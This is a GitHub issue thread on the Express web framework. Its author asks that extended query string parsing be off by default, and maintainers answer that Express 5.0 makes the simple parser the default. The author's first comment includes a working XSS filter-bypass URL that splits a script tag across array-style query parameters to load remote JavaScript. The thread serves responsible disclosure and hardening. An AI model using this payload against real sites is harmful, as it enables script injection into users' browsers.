Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Consider disabling extended query string parsing by default #3361

Closed
randomdross opened this issue Jul 11, 2017 · 4 comments
Closed

Consider disabling extended query string parsing by default #3361

randomdross opened this issue Jul 11, 2017 · 4 comments

Comments

@randomdross
Copy link

I created a simple browser-based XSS filter test app here:
http://xss.untrusted.com/xss?id=aaa&id=bbb
This is page is simple enough that pretty much any filter bypass bug present here would be legitimate. That is, the identified bypass condition would have to be in-scope as an issue for the filter to defend against.

Masato Kinugawa was able to bypass the IE / Edge XSS filter using the following trick:
http://xss.untrusted.com/xss?id[0]=%3Cscript/&id[1]=/src=//html5sec.org/test.js%3E%3C/script%3E
This relies on the extended query string parsing that is enabled by default in express.

I was able to fix my test app by manually disabling the extended query string parsing:
app.set('query parser', 'simple');

While it's certainly not the responsibility of express to make the IE / Edge XSS Filter's job any easier, disabling the extended query parsing by default would be one way to solve this issue for the filter.

Adam Baldwin alerted me to this issue and FWIW he is also in favor of changing the default query parser to 'simple': https://twitter.com/adam_baldwin/status/884633562292428800

Disclosure: Though I'm currently employed by Google, in a previous life I worked at Microsoft developing the IE / Edge XSS Filter.

@dougwilson dougwilson mentioned this issue Jul 11, 2017
39 tasks
@dougwilson
Copy link
Contributor

Yes, the plan is to disable by default in Express 5.0. You can view the 5.0 plan here: #2237

Make query parser option default to 'simple'

I hope this helps! I even updated the plan to reference this issues in the check list for that entry, since there wasn't a specific issue before that I recall, just discussions.

@randomdross
Copy link
Author

Oh that's awesome! Thank you Doug!

@dougwilson
Copy link
Contributor

And the body-parser module has the same thing, which is also being defaulted off in it's 2.0 release.

@dougwilson
Copy link
Contributor

Everything has now been updated to default to the simple parser in the current 5.0 branch 👍

dougwilson pushed a commit that referenced this issue Feb 5, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants